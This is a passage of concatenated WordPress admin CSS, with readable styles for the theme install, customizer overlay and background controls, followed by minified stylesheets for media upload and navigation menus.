	.single-theme .theme-overlay .theme-about {
		padding: 10px;
		overflow: visible;
	}
	.single-theme .current-label {
		display: none;
	}
	.single-theme .theme-overlay .theme-actions {
		position: static;
	}
}

.broken-themes {
	clear: both;
}

.broken-themes table {
	text-align: left;
	width: 50%;
	border-spacing: 3px;
	padding: 3px;
}


/*------------------------------------------------------------------------------
  16.2 - Install Themes
------------------------------------------------------------------------------*/

.update-php .wrap {
	max-width: 40rem;
}

/* Already installed theme */
.theme-browser .theme .theme-installed {
	background: #2271b1;
}

.theme-browser .theme .notice-success p:before {
	color: #68de7c;
	content: "\f147";
	display: inline-block;
	font: normal 20px/1 'dashicons';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.theme-install.updated-message:before {
	content: "";
}

.theme-install-php .wp-filter {
	padding-left: 20px;
}

.theme-install-php a.upload,
.theme-install-php a.browse-themes {
	cursor: pointer;
}

.upload-view-toggle .browse,
.plugin-install-tab-upload .upload-view-toggle .upload {
	display: none;
}

.plugin-install-tab-upload .upload-view-toggle .browse {
	display: inline;
}

.upload-theme,
.upload-plugin {
	box-sizing: border-box;
	display: none;
	margin: 0;
	padding: 50px 0;
	width: 100%;
	overflow: hidden;
	position: relative;
	top: 10px;
	text-align: center;
}

.show-upload-view .upload-theme,
.show-upload-view .upload-plugin,
.show-upload-view .upload-plugin-wrap,
.plugin-install-tab-upload .upload-plugin {
	display: block;
}

.upload-theme .wp-upload-form,
.upload-plugin .wp-upload-form {
	background: #f6f7f7;
	border: 1px solid #c3c4c7;
	padding: 30px;
	margin: 30px auto;
	display: inline-flex;
	justify-content: space-between;
	align-items: center;
}

.upload-theme .wp-upload-form input[type="file"],
.upload-plugin .wp-upload-form input[type="file"] {
	margin-right: 10px;
}

.upload-theme .install-help,
.upload-plugin .install-help {
	color: #50575e; /* #f1f1f1 background */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 0;
	text-align: center;
}

p.no-themes,
p.no-themes-local {
	clear: both;
	color: #646970;
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0;
	text-align: center;
	display: none;
}

.no-results p.no-themes {
	display: block;
}

.theme-install-php .add-new-theme {
	display: none !important;
}

@media only screen and (max-width: 1120px) {
	.upload-theme .wp-upload-form {
		margin: 20px 0;
		max-width: 100%;
	}
	.upload-theme .install-help {
		font-size: 15px;
		padding: 20px 0 0;
	}
}

.theme-details .theme-rating {
	line-height: 1.9;
}

.theme-details .star-rating {
	display: inline;
}

.theme-details .num-ratings,
.theme-details .no-rating {
	font-size: 11px;
	color: #646970;
}

.theme-details .no-rating {
	display: block;
	line-height: 1.9;
}

.update-from-upload-comparison {
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
	text-align: left;
	margin: 1rem 0 1.4rem;
	border-collapse: collapse;
	width: 100%;
}

.update-from-upload-comparison tr:last-child td {
	height: 1.4rem;
    vertical-align: top;
}

.update-from-upload-comparison tr:first-child th {
	font-weight: bold;
	height: 1.4rem;
    vertical-align: bottom;
}

.update-from-upload-comparison td.name-label {
	text-align: right;
}

.update-from-upload-comparison td,
.update-from-upload-comparison th {
	padding: 0.4rem 1.4rem;
}

.update-from-upload-comparison td.warning {
	color: #d63638;
}

.update-from-upload-actions {
	margin-top: 1.4rem;
}

/*------------------------------------------------------------------------------
  16.3 - Custom Header Screen
------------------------------------------------------------------------------*/

.appearance_page_custom-header #headimg {
	border: 1px solid #dcdcde;
	overflow: hidden;
	width: 100%;
}

.appearance_page_custom-header #upload-form p label {
	font-size: 12px;
}

.appearance_page_custom-header .available-headers .default-header {
	float: left;
	margin: 0 20px 20px 0;
}

.appearance_page_custom-header .random-header {
	clear: both;
	margin: 0 20px 20px 0;
	vertical-align: middle;
}

.appearance_page_custom-header .available-headers label input,
.appearance_page_custom-header .random-header label input {
	margin-right: 10px;
}

.appearance_page_custom-header .available-headers label img {
	vertical-align: middle;
}


/*------------------------------------------------------------------------------
  16.4 - Custom Background Screen
------------------------------------------------------------------------------*/

div#custom-background-image {
	min-height: 100px;
	border: 1px solid #dcdcde;
}

div#custom-background-image img {
	max-width: 400px;
	max-height: 300px;
}

.background-position-control input[type="radio"]:checked ~ .button {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	z-index: 1;
}

.background-position-control input[type="radio"]:focus ~ .button {
	border-color: #4f94d4;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 3px rgba(34, 113, 177, 0.8);
	color: #1d2327;
}

.background-position-control .background-position-center-icon,
.background-position-control .background-position-center-icon:before {
	display: inline-block;
	line-height: 1;
	text-align: center;
	transition: background-color .1s ease-in;
}

.background-position-control .background-position-center-icon {
	height: 20px;
	margin-top: 13px;
	vertical-align: top;
	width: 20px;
}

.background-position-control .background-position-center-icon:before {
	background-color: #50575e;
	border-radius: 50%;
	content: "";
	height: 12px;
	width: 12px;
}

.background-position-control .button:hover .background-position-center-icon:before,
.background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before {
	background-color: #1d2327;
}

.background-position-control .button-group {
	display: block;
}

.background-position-control .button-group .button {
	border-radius: 0;
	box-shadow: none;
	/* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */
	height: 40px !important;
	line-height: 2.9 !important;
	margin: 0 -1px 0 0 !important;
	padding: 0 10px 1px !important;
	position: relative;
}

.background-position-control .button-group .button:active,
.background-position-control .button-group .button:hover,
.background-position-control .button-group .button:focus {
	z-index: 1;
}

.background-position-control .button-group:last-child .button {
	box-shadow: 0 1px 0 #c3c4c7;
}

.background-position-control .button-group > label {
	margin: 0 !important;
}

.background-position-control .button-group:first-child > label:first-child .button {
	border-radius: 3px 0 0;
}

.background-position-control .button-group:first-child > label:first-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group:first-child > label:last-child .button {
	border-radius: 0 3px 0 0;
}

.background-position-control .button-group:first-child > label:last-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group:last-child > label:first-child .button {
	border-radius: 0 0 0 3px;
}

.background-position-control .button-group:last-child > label:first-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group:last-child > label:last-child .button {
	border-radius: 0 0 3px;
}

.background-position-control .button-group:last-child > label:last-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group .dashicons {
	margin-top: 9px;
}

.background-position-control .button-group + .button-group {
	margin-top: -1px;
}

/*------------------------------------------------------------------------------
  23.0 - Full Overlay w/ Sidebar
------------------------------------------------------------------------------*/

body.full-overlay-active {
	overflow: hidden;
	/* Hide all the content, the Customizer overlay is then made visible to be the only available content. */
	visibility: hidden;
}

.wp-full-overlay {
	background: transparent;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	height: 100%;
	min-width: 0;
}

.wp-full-overlay-sidebar {
	box-sizing: border-box;
	position: fixed;
	min-width: 300px;
	max-width: 600px;
	width: 18%;
	height: 100%;
	top: 0;
	bottom: 0;
	left: 0;
	padding: 0;
	margin: 0;
	z-index: 10;
	background: #f0f0f1;
	border-right: none;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	overflow: visible;
}

.wp-full-overlay.collapsed,
.wp-full-overlay.expanded .wp-full-overlay-sidebar {
	margin-left: 0 !important;
}

.wp-full-overlay.expanded {
	margin-left: 300px;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	margin-left: -300px;
}

@media screen and (min-width: 1667px) {
	.wp-full-overlay.expanded {
		margin-left: 18%;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-left: -18%;
	}
}

@media screen and (min-width: 3333px) {
	.wp-full-overlay.expanded {
		margin-left: 600px;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-left: -600px;
	}
}

.wp-full-overlay-sidebar:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	width: 3px;
	z-index: 1000;
}

.wp-full-overlay-main {
	position: absolute;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	height: 100%;
}

.wp-full-overlay-sidebar .wp-full-overlay-header {
	position: absolute;
	left: 0;
	right: 0;
	height: 45px;
	padding: 0 15px;
	line-height: 3.2;
	z-index: 10;
	margin: 0;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-header a.back {
	margin-top: 9px;
}

.wp-full-overlay-sidebar .wp-full-overlay-footer {
	bottom: 0;
	border-bottom: none;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
	position: absolute;
	top: 45px;
	bottom: 45px;
	left: 0;
	right: 0;
	overflow: auto;
}

/* Close & Navigation Links */
.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header {
	padding: 0;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	display: block;
	position: relative;
	float: left;
	width: 45px;
	height: 45px;
	background: #f0f0f1;
	border-right: 1px solid #dcdcde;
	color: #3c434a;
	cursor: pointer;
	text-decoration: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-install-overlay .close-full-overlay:hover,
.theme-install-overlay .close-full-overlay:focus,
.theme-install-overlay .previous-theme:hover,
.theme-install-overlay .previous-theme:focus,
.theme-install-overlay .next-theme:hover,
.theme-install-overlay .next-theme:focus {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
	outline: none;
	box-shadow: none;
}

.theme-install-overlay .close-full-overlay:before {
	font: normal 22px/1 dashicons;
	content: "\f335";
	position: relative;
	top: 7px;
	left: 13px;
}

.theme-install-overlay .previous-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f341";
	position: relative;
	top: 6px;
	left: 14px;
}

.theme-install-overlay .next-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f345";
	position: relative;
	top: 6px;
	left: 13px;
}

.theme-install-overlay .previous-theme.disabled,
.theme-install-overlay .next-theme.disabled,
.theme-install-overlay .previous-theme.disabled:hover,
.theme-install-overlay .previous-theme.disabled:focus,
.theme-install-overlay .next-theme.disabled:hover,
.theme-install-overlay .next-theme.disabled:focus {
	color: #c3c4c7;
	background: #f0f0f1;
	cursor: default;
	pointer-events: none;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	border-left: 0;
	border-top: 0;
	border-bottom: 0;
}

.theme-install-overlay .close-full-overlay:before,
.theme-install-overlay .previous-theme:before,
.theme-install-overlay .next-theme:before {
	top: 2px;
	left: 0;
}

/* Collapse Button */
.wp-core-ui .wp-full-overlay .collapse-sidebar {
	position: fixed;
	bottom: 0;
	left: 0;
	padding: 9px 0 9px 10px;
	height: 45px;
	color: #646970;
	outline: 0;
	line-height: 1;
	background-color: transparent !important;
	border: none !important;
	box-shadow: none !important;
	border-radius: 0 !important;
}

.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
	color: #2271b1;
}

.wp-full-overlay .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar-label {
	display: inline-block;
	vertical-align: middle;
	line-height: 1.6;
}

.wp-full-overlay .collapse-sidebar-arrow {
	width: 20px;
	height: 20px;
	margin: 0 2px; /* avoid the focus box-shadow to be cut-off */
	border-radius: 50%;
	overflow: hidden;
}

.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-full-overlay .collapse-sidebar-label {
	margin-left: 3px;
}

.wp-full-overlay.collapsed .collapse-sidebar-label {
	display: none;
}

.wp-full-overlay .collapse-sidebar-arrow:before {
	display: block;
	content: "\f148";
	background: #f0f0f1;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar {
	padding: 9px 10px;
}

/* rtl:ignore */
.wp-full-overlay.collapsed .collapse-sidebar-arrow:before,
.rtl .wp-full-overlay .collapse-sidebar-arrow:before {
	transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing */
}

.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before {
	transform: none;
}

/* Animations */
.wp-full-overlay,
.wp-full-overlay-sidebar,
.wp-full-overlay .collapse-sidebar,
.wp-full-overlay-main {
	transition-property: left, right, top, bottom, width, margin;
	transition-duration: 0.2s;
}

/* Device/preview size toggles */

.wp-full-overlay {
	background: #1d2327;
}

.wp-full-overlay-main {
	background-color: #f0f0f1;
}

.expanded .wp-full-overlay-footer {
	position: fixed;
	bottom: 0;
	left: 0;
	min-width: 299px;
	max-width: 599px;
	width: 18%;
	width: calc( 18% - 1px );
	height: 45px;
	border-top: 1px solid #dcdcde;
	background: #f0f0f1;
}

.wp-full-overlay-footer .devices-wrapper {
	float: right;
}

.wp-full-overlay-footer .devices {
	position: relative;
	background: #f0f0f1;
	box-shadow: -20px 0 10px -5px #f0f0f1;
}

.wp-full-overlay-footer .devices button {
	cursor: pointer;
	background: transparent;
	border: none;
	height: 45px;
	padding: 0 3px;
	margin: 0 0 0 -4px;
	box-shadow: none;
	border-top: 1px solid transparent;
	border-bottom: 4px solid transparent;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
}

.wp-full-overlay-footer .devices button:focus {
	box-shadow: none;
	outline: none;
}

.wp-full-overlay-footer .devices button:before {
	display: inline-block;
	-webkit-font-smoothing: antialiased;
	font: normal 20px/30px "dashicons";
	vertical-align: top;
	margin: 3px 0;
	padding: 4px 8px;
	color: #646970;
}

.wp-full-overlay-footer .devices button.active {
	border-bottom-color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover,
.wp-full-overlay-footer .devices button:focus {
	background-color: #fff;
}

.wp-full-overlay-footer .devices button:focus,
.wp-full-overlay-footer .devices button.active:hover {
	border-bottom-color: #2271b1;
}

.wp-full-overlay-footer .devices button.active:before {
	color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover:before,
.wp-full-overlay-footer .devices button:focus:before {
	color: #2271b1;
}

.wp-full-overlay-footer .devices .preview-desktop:before {
	content: "\f472";
}

.wp-full-overlay-footer .devices .preview-tablet:before {
	content: "\f471";
}

.wp-full-overlay-footer .devices .preview-mobile:before {
	content: "\f470";
}

@media screen and (max-width: 1024px) {
	.wp-full-overlay-footer .devices {
		display: none;
	}
}

.collapsed .wp-full-overlay-footer .devices button:before {
	display: none;
}

.preview-mobile .wp-full-overlay-main {
	margin: auto 0 auto -160px;
	width: 320px;
	height: 480px;
	max-height: 100%;
	max-width: 100%;
	left: 50%;
}

.preview-tablet .wp-full-overlay-main {
	margin: auto 0 auto -360px;
	width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */
	height: 1080px;
	max-height: 100%;
	max-width: 100%;
	left: 50%;
}


/*------------------------------------------------------------------------------
  24.0 - Customize Loader
------------------------------------------------------------------------------*/

.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

#customize-container,
#customize-controls .notice.notification-overlay {
	background: #f0f0f1;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	height: 100%;
}
#customize-container {
	display: none;
}

/* Make the Customizer and Theme installer overlays the only available content. */
#customize-container,
.theme-install-overlay {
	visibility: visible;
}

.customize-loading #customize-container iframe {
	opacity: 0;
}

#customize-container iframe,
.theme-install-overlay iframe {
	height: 100%;
	width: 100%;
	z-index: 20;
	transition: opacity 0.3s;
}

#customize-controls {
	margin-top: 0;
}

.theme-install-overlay {
	display: none;
}

.theme-install-overlay.single-theme {
	display: block;
}

.install-theme-info {
	display: none;
	padding: 10px 20px 60px;
}

.single-theme .install-theme-info {
	padding-top: 15px;
}

.theme-install-overlay .install-theme-info {
	display: block;
}

.install-theme-info .theme-install {
	float: right;
	margin-top: 18px;
}

.install-theme-info .theme-name {
	font-size: 16px;
	line-height: 1.5;
	margin-bottom: 0;
	margin-top: 0;
}

.install-theme-info .theme-screenshot {
	margin: 15px 0;
	width: 258px;
	border: 1px solid #c3c4c7;
	position: relative;
	overflow: hidden;
}

.install-theme-info .theme-screenshot > img {
	width: 100%;
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
}

.install-theme-info .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666666%;
}

.install-theme-info .theme-details {
	overflow: hidden;
}

.theme-details .theme-version {
	margin: 15px 0;
}

.theme-details .theme-description {
	float: left;
	color: #646970;
	line-height: 1.6;
	max-width: 100%;
}

.theme-install-overlay .wp-full-overlay-header .button {
	float: right;
	margin: 8px 10px 0 0;
}

.theme-install-overlay .wp-full-overlay-sidebar {
	background: #f0f0f1;
	border-right: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-sidebar-content {
	background: #fff;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-main {
	position: absolute;
	z-index: 0;
	background-color: #f0f0f1;
}

.customize-loading #customize-container {
	background-color: #f0f0f1;
}

#customize-preview.wp-full-overlay-main:before,
.customize-loading #customize-container:before,
#customize-controls .notice.notification-overlay.notification-loading:before,
.theme-install-overlay .wp-full-overlay-main:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	z-index: -1;
	margin: -10px 0 0 -10px;
	transform: translateZ(0);
	background: transparent url(../images/spinner.gif) no-repeat center center;
	background-size: 20px 20px;
}

#customize-preview.wp-full-overlay-main.iframe-ready:before,
.theme-install-overlay.iframe-ready .wp-full-overlay-main:before {
	background-image: none;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.wp-full-overlay .collapse-sidebar-arrow {
		background-image: url(../images/arrows-2x.png);
		background-size: 15px 123px;
	}

	#customize-preview.wp-full-overlay-main:before,
	.customize-loading #customize-container:before,
	#customize-controls .notice.notification-overlay.notification-loading:before,
	.theme-install-overlay .wp-full-overlay-main:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	.available-theme .action-links .delete-theme {
		float: none;
		margin: 0;
		padding: 0;
		clear: both;
	}

	.available-theme .action-links .delete-theme a {
		padding: 0;
	}

	.broken-themes table {
		width: 100%;
	}

	.theme-install-overlay .wp-full-overlay-header .button {
		font-size: 13px;
		line-height: 2.15384615;
		min-height: 30px;
	}

	.theme-browser .theme .theme-actions .button {
		margin-bottom: 0;
	}

	.theme-browser .theme.active .theme-actions,
	.theme-browser .theme .theme-actions {
		padding-top: 4px;
		padding-bottom: 4px;
	}

	.upload-theme .wp-upload-form,
	.upload-plugin .wp-upload-form {
		display: block;
	}
}

@media aural {
	.theme .notice:before,
	.theme-info .updating-message:before,
	.theme-info .updated-message:before,
	.theme-install.updating-message:before {
		speak: never;
	}
}
/*! This file is auto-generated */
div#media-upload-header{margin:0;padding:5px 5px 0;font-weight:600;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7}#sidemenu{overflow:hidden;float:none;position:relative;left:0;bottom:-1px;margin:0 5px;padding-left:10px;list-style:none;font-size:12px;font-weight:400}#sidemenu a{padding:0 7px;display:block;float:left;line-height:28px;border-top:1px solid #f6f7f7;border-bottom:1px solid #dcdcde;background-color:#f6f7f7;text-decoration:none;transition:none}#sidemenu li{display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;margin:0;padding:0}#sidemenu a.current{font-weight:400;padding-left:6px;padding-right:6px;border:1px solid #dcdcde;border-bottom-color:#f0f0f1;background-color:#f0f0f1;color:#000}#media-upload:after{content:"";display:table;clear:both}#media-upload .slidetoggle{border-top-color:#dcdcde}#media-upload input[type=radio]{padding:0}.media-upload-form label.form-help,td.help{color:#646970}form{margin:1em}#search-filter{text-align:right}th{position:relative}.media-upload-form label.form-help,td.help{font-family:sans-serif;font-style:italic;font-weight:400}.media-upload-form p.help{margin:0;padding:0}.media-upload-form fieldset{width:100%;border:none;text-align:justify;margin:0 0 1em;padding:0}.image-align-none-label{background:url(../images/align-none.png) no-repeat center left}.image-align-left-label{background:url(../images/align-left.png) no-repeat center left}.image-align-center-label{background:url(../images/align-center.png) no-repeat center left}.image-align-right-label{background:url(../images/align-right.png) no-repeat center left}tr.image-size td{width:460px}tr.image-size div.image-size-item{margin:0 0 5px}#gallery-form .progress,#library-form .progress,.describe.startclosed,.describe.startopen,.insert-gallery{display:none}.media-item .thumbnail{max-width:128px;max-height:128px}thead.media-item-info tr{background-color:transparent}.form-table thead.media-item-info{border:8px solid #fff}abbr.required,span.required{text-decoration:none;border:none}.describe label{display:inline}.describe td.error{padding:2px 8px}.describe td.A1{width:132px}.describe input[type=text],.describe textarea{width:460px;border-width:1px;border-style:solid}#media-upload p.ml-submit{padding:1em 0}#media-upload label.help,#media-upload p.help{font-family:sans-serif;font-style:italic;font-weight:400}#media-upload .ui-sortable .media-item{cursor:move}#media-upload tr.image-size{margin-bottom:1em;height:3em}#media-upload #filter{width:623px}#media-upload #filter .subsubsub{margin:8px 0}#media-upload .tablenav-pages .current,#media-upload .tablenav-pages a{display:inline-block;padding:4px 5px 6px;font-size:16px;line-height:1;text-align:center;text-decoration:none}#media-upload .tablenav-pages a{min-width:17px;border:1px solid #c3c4c7;background:#f6f7f7}#filter .tablenav select{border-style:solid;border-width:1px;padding:2px;vertical-align:top;width:auto}#media-upload .del-attachment{display:none;margin:5px 0}.menu_order{float:right;font-size:11px;margin:8px 10px 0}.menu_order_input{border:1px solid #dcdcde;font-size:10px;padding:1px;width:23px}.ui-sortable-helper{background-color:#fff;border:1px solid #a7aaad;opacity:.6}#media-upload th.order-head{width:20%;text-align:center}#media-upload th.actions-head{width:25%;text-align:center}#media-upload a.wp-post-thumbnail{margin:0 20px}#media-upload .widefat{border-style:solid solid none}.sorthelper{height:37px;width:623px;display:block}#gallery-settings th.label{width:160px}#gallery-settings #basic th.label{padding:5px 5px 5px 0}#gallery-settings .title{clear:both;padding:0 0 3px;font-size:1.6em;border-bottom:1px solid #dcdcde}h3.media-title{font-size:1.6em}h4.media-sub-title{border-bottom:1px solid #dcdcde;font-size:1.3em;margin:12px;padding:0 0 3px}#gallery-settings .title,h3.media-title,h4.media-sub-title{font-family:Georgia,"Times New Roman",Times,serif;font-weight:400;color:#50575e}#gallery-settings .describe td{vertical-align:middle;height:3em}#gallery-settings .describe th.label{padding-top:.5em;text-align:left}#gallery-settings .describe{padding:5px;width:100%;clear:both;cursor:default;background:#fff}#gallery-settings .describe select{width:15em}#gallery-settings .describe select option,#gallery-settings .describe td{padding:0}#gallery-settings label,#gallery-settings legend{font-size:13px;color:#3c434a;margin-right:15px}#gallery-settings .align .field label{margin:0 1em 0 3px}#gallery-settings p.ml-submit{border-top:1px solid #dcdcde}#gallery-settings select#columns{width:6em}#sort-buttons{font-size:.8em;margin:3px 25px -8px 0;text-align:right;max-width:625px}#sort-buttons a{text-decoration:none}#sort-buttons #asc,#sort-buttons #showall{padding-left:5px}#sort-buttons span{margin-right:25px}p.media-types{margin:0;padding:1em}p.media-types-required-info{padding-top:0}tr.not-image{display:none}table.not-image tr.not-image{display:table-row}table.not-image tr.image-only{display:none}@media print,(min-resolution:120dpi){.image-align-none-label{background-image:url(../images/align-none-2x.png?ver=20120916);background-size:21px 15px}.image-align-left-label{background-image:url(../images/align-left-2x.png?ver=20120916);background-size:22px 15px}.image-align-center-label{background-image:url(../images/align-center-2x.png?ver=20120916);background-size:21px 15px}.image-align-right-label{background-image:url(../images/align-right-2x.png?ver=20120916);background-size:22px 15px}}/*! This file is auto-generated */
@import url(common.min.css);
@import url(forms.min.css);
@import url(admin-menu.min.css);
@import url(dashboard.min.css);
@import url(list-tables.min.css);
@import url(edit.min.css);
@import url(revisions.min.css);
@import url(media.min.css);
@import url(themes.min.css);
@import url(about.min.css);
@import url(nav-menus.min.css);
@import url(widgets.min.css);
@import url(site-icon.min.css);
@import url(l10n.min.css);
@import url(site-health.min.css);
/*! This file is auto-generated */
.no-js #message{display:block}ul.add-menu-item-tabs li{padding:3px 5px 4px 8px}.accordion-section ul.add-menu-item-tabs,.accordion-section ul.category-tabs,.accordion-section ul.wp-tab-bar{margin:0}.accordion-section .categorychecklist{margin:13px 0}#nav-menu-meta .accordion-section-content{padding:18px 13px}#nav-menu-meta .button-controls{margin-bottom:0}.has-no-menu-item .button-controls{display:none}#nav-menus-frame{margin-left:300px;margin-top:23px}#wpbody-content #menu-settings-column{display:inline;width:281px;margin-left:-300px;clear:both;float:left;padding-top:0}#menu-settings-column .inside{clear:both;margin:10px 0 0}.metabox-holder-disabled .accordion-section-content,.metabox-holder-disabled .accordion-section-title,.metabox-holder-disabled .postbox{opacity:.5}.metabox-holder-disabled .button-controls .select-all{display:none}#wpbody{position:relative}.is-submenu{color:#50575e;font-style:italic;font-weight:400;margin-left:4px}.manage-menus{margin-top:23px;padding:10px;overflow:hidden;background:#fff}.manage-menus .selected-menu,.manage-menus .submit-btn,.manage-menus select,.nav-menus-php .add-new-menu-action{display:inline-block;margin-right:3px;vertical-align:middle}.manage-menus select,.menu-location-menus select{max-width:100%}.menu-edit #post-body-content h3{margin:1em 0 10px}#nav-menu-bulk-actions-top{margin:1em 0}#nav-menu-bulk-actions-bottom{margin:1em 0;margin:calc(1em + 9px) 0}.bulk-actions input.button{margin-right:12px}.bulk-select-button{position:relative;display:inline-block;padding:0 10px;font-size:13px;line-height:2.15384615;height:auto;min-height:30px;background:#f6f7f7;vertical-align:top;border:1px solid #dcdcde;margin:0;cursor:pointer;border-radius:3px;white-space:nowrap;box-sizing:border-box}.bulk-selection .bulk-select-button{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}#pending-menu-items-to-delete{display:none}.bulk-selection #pending-menu-items-to-delete{display:block;margin-top:1em}#pending-menu-items-to-delete p{margin-bottom:0}#pending-menu-items-to-delete ul{margin-top:0;list-style:none}#pending-menu-items-to-delete ul li{display:inline}input.bulk-select-switcher+.bulk-select-button-label{vertical-align:inherit}label.bulk-select-button:active,label.bulk-select-button:focus-within,label.bulk-select-button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}input.bulk-select-switcher:focus+.bulk-select-button-label{color:#0a4b78}.bulk-actions input.menu-items-delete{-webkit-appearance:none;appearance:none;font-size:inherit;border:0;line-height:2.1em;background:0 0;cursor:pointer;text-decoration:underline;color:#b32d2e}.bulk-actions input.menu-items-delete:hover{color:#b32d2e;border:none}.bulk-actions input.menu-items-delete.disabled{display:none}.menu-settings{border-top:1px solid #f0f0f1;margin-top:2em}.menu-settings-group{margin:0 0 10px;overflow:hidden;padding-left:20%}.menu-settings-group:last-of-type{margin-bottom:0}.menu-settings-input{float:left;margin:0;width:100%}.menu-settings-group-name{float:left;clear:both;width:25%;padding:3px 0 0;margin-left:-25%}.menu-settings label{vertical-align:baseline}.menu-edit .checkbox-input{margin-top:4px}.theme-location-set{color:#646970;font-size:11px}#menu-management-liquid{float:left;min-width:100%;margin-top:3px}#menu-management{position:relative;margin-right:20px;margin-top:-3px;width:100%}#menu-management .menu-edit{margin-bottom:20px}.nav-menus-php #post-body{padding:0 10px;border-top:1px solid #fff;border-bottom:1px solid #dcdcde;background:#fff}#nav-menu-footer,#nav-menu-header{padding:0 10px;background:#f6f7f7}#nav-menu-header{border-bottom:1px solid #dcdcde;margin-bottom:0}#nav-menu-header .menu-name-label{display:inline-block;vertical-align:middle;margin-right:7px}.nav-menus-php #post-body div.error,.nav-menus-php #post-body div.updated{margin:0}.nav-menus-php #post-body-content{position:relative;float:none}.nav-menus-php #post-body-content .post-body-plain{margin-bottom:0}#menu-management .menu-add-new abbr{font-weight:600}#select-nav-menu-container{text-align:right;padding:0 10px 3px;margin-bottom:5px}#select-nav-menu{width:100px;display:inline}#menu-name-label{margin-top:-2px}.widefat .menu-locations .menu-location-title{padding:13px 10px 0}.menu-location-title label{font-weight:600}.menu-location-menus select{float:left}#locations-nav-menu-wrapper{padding:5px 0}.locations-nav-menu-select select{float:left;width:160px;margin-right:5px}.locations-row-links{float:left;margin:6px 0 0 6px}.locations-add-menu-link,.locations-edit-menu-link{margin:0 3px}.locations-edit-menu-link{padding-right:3px;border-right:1px solid #c3c4c7}#menu-management .inside{padding:0 10px}.customlinkdiv .menu-item-textbox,.postbox .howto input{width:180px;float:right}.accordion-container .outer-border{margin:0}.customlinkdiv p{margin-top:0}#nav-menu-theme-locations .howto select{width:100%}#nav-menu-theme-locations .button-controls{text-align:right}.add-menu-item-view-all{height:400px}#menu-container .submit{margin:0 0 10px;padding:0}#cancel-save{text-decoration:underline;font-size:12px;margin-left:20px;margin-top:5px}.button-primary.right,.button-secondary.right,.button.right{float:right}.list-controls{float:left;margin-top:5px}.add-to-menu{float:right}.button-controls{clear:both;margin:10px 0}.hide-all,.show-all{cursor:pointer}.hide-all{display:none}#menu-name{width:270px;vertical-align:middle}#manage-menu .inside{padding:0}#available-links dt{display:block}#add-custom-link .howto{font-size:12px}#add-custom-link label 